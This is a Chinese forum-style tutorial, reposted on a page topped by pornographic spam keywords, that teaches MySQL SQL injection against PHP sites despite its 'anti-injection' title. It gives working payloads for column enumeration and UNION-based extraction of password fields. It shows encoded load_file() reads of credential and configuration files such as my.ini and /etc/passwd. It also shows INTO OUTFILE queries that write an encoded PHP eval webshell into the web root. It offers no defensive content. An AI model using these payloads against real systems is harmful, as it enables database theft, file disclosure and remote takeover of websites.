中文国产日韩欧美视频,午夜精品999,色综合天天综合网国产成人网,色综合视频一区二区观看,国产高清在线精品,伊人色播,色综合久久天天综合观看

PHP注入與防注入 -電腦資料

電腦資料 時(shí)間:2019-01-01 我要投稿
【www.szmdbiao.com - 電腦資料】

    在這個(gè)注入風(fēng)靡的時(shí)代,多少菜鳥(niǎo)拿著工具四處沖鋒.如果你不想成為工具的奴隸,不想遇到PHP就退避三舍,不想繼續(xù)做著ASP的菜鳥(niǎo)之群,不想......那么請(qǐng)你靜下心來(lái),  隨我一同走完這次的入侵檢測(cè)全過(guò)程.相信你必然能有所收獲.不只在技術(shù)上,更在思路上,更在意識(shí)上..

    判斷是否存在注入:首先,PHP和ASP判斷注入的方法一樣,在一個(gè)動(dòng)態(tài)連接后面加上and 1=1,and 1=2看其返回結(jié)果即可判斷.兩次返回結(jié)果不相同,即可初步判斷為有注入點(diǎn).

    判斷字段大小:接下來(lái),對(duì)付php猜字段的方法,我們用order by.語(yǔ)法如下:

    http://127.0.0.1/1.php?id=1 order by 40    //如果返回正常,說(shuō)明實(shí)際的字段要比40大.那么我們繼續(xù)加.一直加到返回錯(cuò)誤.

    譬如當(dāng)http://127.0.0.1/1.php?id=1 order by 45  的時(shí)候出錯(cuò)了,那么我們就知道字段大小為44.

    UNION SELECT:知道字段大小以后,我們就用union select聯(lián)合查詢來(lái)列出所有字段.

    http://127.0.0.1/1.php?id=1 and 1=2 union select 1,2,3,4~44/* //這里我們列出了44個(gè)字段,并且以/*告訴MYSQL,我們的命令已經(jīng)執(zhí)行完畢.*

    你就可以在回顯出來(lái)的相應(yīng)的字段上,替換你要查詢的字段名,再from表明.就可以得到相應(yīng)的字段內(nèi)容了.譬如:

    http://127.0.0.1/1.php?id=1and 1=2 union select 1,2,3,4,~30,passwd,32,~45 from member/*      //~表示我這里省略.你不能那么寫(xiě).

    幾個(gè)常用的MYSQL函數(shù):好了,現(xiàn)在我們把字段都列出來(lái)了.估計(jì)這時(shí)候有人就該急急忙忙的加from來(lái)猜密碼了.實(shí)際上,猜測(cè)密碼走后臺(tái)這一招,我們應(yīng)該放在最后.有人說(shuō)MYSQL 的功能,和ACCESS一樣,甚至還不如,這其實(shí)是誤解,冤枉了MYSQL.我們下面來(lái)看看,MYSQL都有些什么高級(jí)的運(yùn)用.

    這里首先列出幾個(gè)常用的涵數(shù):1:system_user()2:user()3:current_user4:session_user()5:database()6:version()7:load_file()......他們的含義分別如下:

    1:系統(tǒng)用戶名.2:用戶名.3:當(dāng)前用戶名:4連接數(shù)據(jù)庫(kù)的用戶名.5:數(shù)據(jù)庫(kù)名.6:數(shù)據(jù)庫(kù)版本.7:MYSQL讀取本地文件的函數(shù)

    他們都有什么用?1-6的作用如下:

    這幾個(gè)函數(shù)翻回來(lái)的信息在檢測(cè)過(guò)程中具有非常重要的作用,他們對(duì)我們了解目標(biāo),分析目標(biāo),尋找漏洞,開(kāi)闊思路等等都有莫大的作用.譬如了解系統(tǒng)的版本,了解數(shù)據(jù)庫(kù)是否支持union,當(dāng)前用戶是否ROOT用戶的初步判斷等等...函數(shù)7的作用就更大了,我們接下來(lái)單獨(dú)說(shuō).

    專(zhuān)說(shuō)load_file()函數(shù)的作用與技巧.

    OK.load_file 是MYSQL用來(lái)讀取本地文件時(shí),會(huì)用到的函數(shù).在我們注入時(shí)的權(quán)限可以讀寫(xiě)文件時(shí),load_file就有無(wú)比巨大的作用了.怎么判斷有我們注入點(diǎn)的權(quán)限呢?很簡(jiǎn)單,在注入點(diǎn)后加上and (select count(*) from mysql.user)>0/*如果結(jié)果返回正常,那么就是具有讀寫(xiě)權(quán)限了.我們就可以用這個(gè)函數(shù)去讀取系統(tǒng)的敏感文件,去尋找配置文件,尋找數(shù)據(jù)庫(kù)連接文件,尋找社工文件,尋找WEB物理路徑等等.下面,我給大家總結(jié)出了敏感文件列表:

    WINDOWS下:

    load_file(char(99,58,47,119,105,110,100,111,119,115,47,112,104,112,46,105,110,105))     c:/windows/php.ini    //里面有什么不用我說(shuō)了吧?

    load_file(char(99,58,47,119,105,110,110,116,47,112,104,112,46,105,110,105))            c:/winnt/php.ini

    load_file(char(99,58,47,119,105,110,100,111,119,115,47,109,121,46,105,110,105))      c:/windows/my.ini        //管理員登陸過(guò)MYSQL會(huì)留下密碼和用戶名

    load_file(char(99,58,47,119,105,110,110,116,47,109,121,46,105,110,105))             c:/winnt/my.ini

    load_file(char(99,58,47,98,111,111,116,46,105,110,105))          c:/boot.ini

    LUNIX/UNIX下:

    load_file(char(47,101,116,99,47,112,97,115,115,119,111,114,100))              /etc/password        //不用我說(shuō)了吧?

    load_file(char(47,117,115,114,47,108,111,99,97,108,47,104,116,116,112,100,47,99,111,110,102,47,104,116,116,112,100,46,99,111,110,102))    /usr/local/httpd/conf/httpd.conf     //也許能找到網(wǎng)站默認(rèn)目錄哦!

    load_file(char(47,117,115,114,47,108,111,99,97,108,47,97,112,97,99,104,101,50,47,99,111,110,102,47,104,116,116,112,100,46,99,111,110,102))                                                                  /usr/local/apache2/conf/httpd.conf      //也許能找到網(wǎng)站默認(rèn)目錄哦!

    FreeBSD下:

    load_file(char(47))    //列出了此FreeBSD系統(tǒng)的根目錄

    大概有朋友看到這里就該叫了,這都什么啊.char()是什么呀?后面一大串又是什么啊?(系統(tǒng)不明白的就不用問(wèn)了,自己去GOOGLE).

    實(shí)際上,就算你擁有讀和寫(xiě)權(quán)限的一個(gè)注入點(diǎn),如果你直接執(zhí)行l(wèi)oad_file(c:\boot.ini),一般都回顯不了,遇到這樣的情況,你有兩個(gè)選擇.1把路徑轉(zhuǎn)為16進(jìn)制,直接提交數(shù)據(jù)庫(kù).2把路徑轉(zhuǎn)為10進(jìn)制,用char()函數(shù)還原回ASCII.

    譬如c:\boot.ini,轉(zhuǎn)換為16進(jìn)制就是:"0x633A5C626F6F742E696E69",然后你直接用 load_file(0x633A5C626F6F742E696E69)就可以了.   如果轉(zhuǎn)換為10進(jìn)制,那么就是:"99 58 92 98 111 111 116 46 105 110 105".你需要使用char()來(lái)轉(zhuǎn)換,轉(zhuǎn)換之前,你需要在TXT里做個(gè)批量替換,把空格都轉(zhuǎn)為","號(hào). 即:load_file(char(99,58,92,98,111,111,116,46,105,110,105)).注意不要少了擴(kuò)號(hào),都是對(duì)稱的.

    說(shuō)到這里,估計(jì)又有小菜要叫了..都弄好啦,放那里去執(zhí)行啊?!別急,看看下圖.

    只要把load_file()放到頁(yè)面出現(xiàn)的字段上,最好保證有足夠位置能顯示完你要顯示的文件.實(shí)在沒(méi)有足夠位置也不緊張,下面我再教你幾招.

    1: 有時(shí)候,你明明確認(rèn)自己擁有讀和寫(xiě)文件的權(quán)利,卻硬是讀不出來(lái)文件,或者一片空白.為什么?原因可能是對(duì)方的系統(tǒng)在權(quán)限配置上做的好,你的USER權(quán)限, 讀不到他ADMINISTRATOR里的文件.NTFS和LINUX都能做到這點(diǎn).如果你排除以上情況,你就要考慮,是不是你讀出來(lái)的內(nèi)容,被瀏覽器當(dāng)作 HTML,ASP,PHP,ASPX,JSP等等的腳本語(yǔ)言給執(zhí)行了?譬如你讀出來(lái)的內(nèi)容如果含有<>等符號(hào),那么瀏覽器就會(huì)執(zhí)行你的文件內(nèi)容,你自然什么都看不到.對(duì)付這樣的情況,也很簡(jiǎn)單,我們只要把那些特殊的符號(hào),在讀出來(lái)的時(shí)候,用別的符號(hào)去代替他們,這樣瀏覽器就不會(huì)去執(zhí)行他們了! 怎么代替?我們有replace(load_file(A),char(B),char(C))函數(shù)在!當(dāng)你讀A文件出來(lái)的時(shí)候,如果里面有B字母或者符號(hào),那么MYSQL會(huì)用C字母或者符號(hào)去代替B,然后再顯示出來(lái).OK.我們這么一換上:replace(load_file(A)),char(60),char(32)).這里一樣用的CHAR()函數(shù)轉(zhuǎn)換為字母即一旦出現(xiàn)"<"符號(hào),就用空格來(lái)代替他.這樣就能完整的回顯內(nèi)容給你了.

    2:所有的字段位置都不夠位置回顯,讀到的文件不完整哦,又不是上面的原因,那么怎么辦呢?這里我們用Substring(str,pos,len)函數(shù)解決問(wèn)題.他的意思是從字符串str的pos位位置起返回len 個(gè)字符的子串.譬如Substring(load_file(A),50,100)就是把A的內(nèi)容的第50個(gè)字母開(kāi)始回顯100個(gè)給你.那么就能逐段逐段的回顯啦.

    into outfile的高級(jí)運(yùn)用!

    OK.load_file()我們就說(shuō)那么多了.接下來(lái),我們還有許多的重頭戲要來(lái)呢!這里,我要說(shuō)下一個(gè)很重要的運(yùn)用方法,也正是我著重參考劍心幾部作品的技術(shù)的部分.當(dāng)我們確定如下幾個(gè)條件以后:

    1獲得物理路徑(into outfile '物理路徑') 這樣才能寫(xiě)對(duì)目錄

    2能夠使用union (也就是說(shuō)需要MYSQL3以上的版本)

    3對(duì)方?jīng)]有對(duì)’進(jìn)行過(guò)濾(因?yàn)閛utfile 后面的 '' 不可以用其他函數(shù)代替轉(zhuǎn)換)

    4就是MYSQL用戶擁有file_priv權(quán)限(不然就不能寫(xiě)文件 或者把文件內(nèi)容讀出)

    5對(duì)web目錄有寫(xiě)權(quán)限MS的系統(tǒng)一般都有權(quán)限,但是LINUX通常都是rwxr-xr-x 也就是說(shuō)組跟其他用戶都沒(méi)有權(quán)限寫(xiě)操作.

    這里的1,我們一般可以靠數(shù)據(jù)庫(kù)出錯(cuò)信息來(lái)爆出來(lái),不行的話,也可以通過(guò)load_file()來(lái)得到.2那是一般都可以的了...3也不多見(jiàn)對(duì)'''過(guò)濾的.4有沒(méi)有權(quán)限,我們前面已經(jīng)測(cè)試過(guò)的了.5如果不能備份到網(wǎng)站的路徑上來(lái),我們也還有別的辦法,譬如到starup,run里面去等等社工的辦法.而且一般多試試上傳目錄,圖片目錄,還是大部分都有讀寫(xiě)權(quán)限的.

    OK.需要的條件確定了,那怎么用呢?我們分開(kāi)兩部來(lái)說(shuō)用法.

    用法1:這是中規(guī)中矩的用法,大家都知道.就是采用網(wǎng)站有的留言,上傳等功能,把你的一句話?cǎi)R弄上去,然后使用

    http://www.tian6.com/coder.php?id=1 and 1=2 union select 1,load_file( /www/home/html/upload/qingyafengping.jpg),3,4,5,6 into outfile '/www/home/html/coder.php'/*   你的小馬就誕生了.

    其中/www/home/html/upload/qingyafengping.jpg為你已上傳的木馬地址.3,4,5,6為假設(shè)存在字段,/www/home/html/為假設(shè)的WEB路徑.

    用法2,也是重點(diǎn)要說(shuō)的.上面的方法,局限性還是比較大的,如果網(wǎng)站不給你上傳,或者網(wǎng)站過(guò)濾上傳的內(nèi)容,那怎么辦?不用怕,劍心早在幾年前就給我們想到了個(gè)好辦法.我們只需要直接這么執(zhí)行URL:

    http://www.tiany6.com/coder.php?id=1 and 1=2 union select 1,char(這里是你的馬的代碼,記得轉(zhuǎn)為10進(jìn)或者16進(jìn)),3,4,5,6 into outfile '/www/home/html/coder.php'/*   這樣你的小馬也誕生了,不需要上傳,也不怕他過(guò)濾.

    譬如

    http://www.tiany6.com/coder.php?id=1 and 1=2 union select 1,char(60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,99,109,100,93,41,63,62),3,4,5,6 into outfile '/www/home/html/coder.php'/*

    或者

    http://www.tiany6.com/coder.php?id=1 and 1=2 union select 1,0x3C3F706870206576616C28245F504F53545B636D645D293F3E,3,4,5,6 into outfile '/www/home/html/coder.php'/*

    或者

    http://www.tiany6.com/coder.php?id=1 and 1=2 union select 1,'',3,4,5,6 into outfile '/www/home/html/coder.php'/*

    3,4,5,6為假設(shè)存在字段,/www/home/html/為假設(shè)的WEB路徑.

    基礎(chǔ)部分總結(jié):好,基礎(chǔ)部分我就講到這里.等有空了再給大家?guī)?lái)幾個(gè)實(shí)戰(zhàn)的檢測(cè).當(dāng)然,那時(shí)候簡(jiǎn)單的問(wèn)題就會(huì)一筆帶過(guò)的了.或許你要問(wèn),為什么我前面要說(shuō)那么多,或者說(shuō)上面的內(nèi)容,其實(shí)大家用心,基本上都可以在網(wǎng)上找到相關(guān)的內(nèi)容,為什么我還要在這里說(shuō)?我給你的答案只有兩個(gè).

    1: 我一直提倡學(xué)技術(shù)要真正懂原因,凡事要知其然,也要知其所以然,每個(gè)問(wèn)題都不會(huì)一模一樣,每個(gè)目標(biāo)都不會(huì)一模一樣,每過(guò)段日子,都會(huì)有變化,要想真正做起來(lái)得心應(yīng)手,遇到困難能自己解開(kāi),就必須懂原理!工具也是人寫(xiě)的,他只能是你的輔助者.他不會(huì)根據(jù)實(shí)際情況來(lái)適應(yīng)環(huán)境.你懂了原理,你就是一個(gè)靈活機(jī)動(dòng)的智能工具,還能創(chuàng)新,靈活變化.人挪活,樹(shù)挪S,再苦再難,都要時(shí)刻提醒自己.

    2:相對(duì)于沒(méi)有基礎(chǔ)的小菜們,總是很難快速的找到對(duì)自己真正有幫助的資料.往往花費(fèi)大量時(shí)間和功夫,還得到錯(cuò)誤的答案,而誤入歧途.很多人就是這么開(kāi)始依賴工具.我在這里給大家總結(jié)下來(lái),你學(xué)的快了,也不會(huì)走錯(cuò)方向.雖然許多人都是那么自己過(guò)來(lái)的(我相信很多高手都是自己琢磨過(guò)來(lái)的,曾經(jīng)辛苦日子也是和你一樣的.).現(xiàn)在你來(lái)到了天陽(yáng)論壇,這里沒(méi)有人會(huì)向你收一分錢(qián),沒(méi)有人會(huì)要求你加什么VIP,或者要求你付出什么東西.這里許多的人都愿意為你們學(xué)習(xí)創(chuàng)造更好的環(huán)境,我們論壇的管理員,版主們也在幫助你們盡可能快速的走捷徑上軌道,這可以說(shuō)是小菜們的一個(gè)好機(jī)會(huì).也正是我費(fèi)盡心機(jī)寫(xiě)這些文章的原因.我希望看到的,是技術(shù)的,向上的,積極的,方向正確的天陽(yáng)學(xué)子.OK.廢話到此為止.浪費(fèi)各位高手的時(shí)間了.

最新文章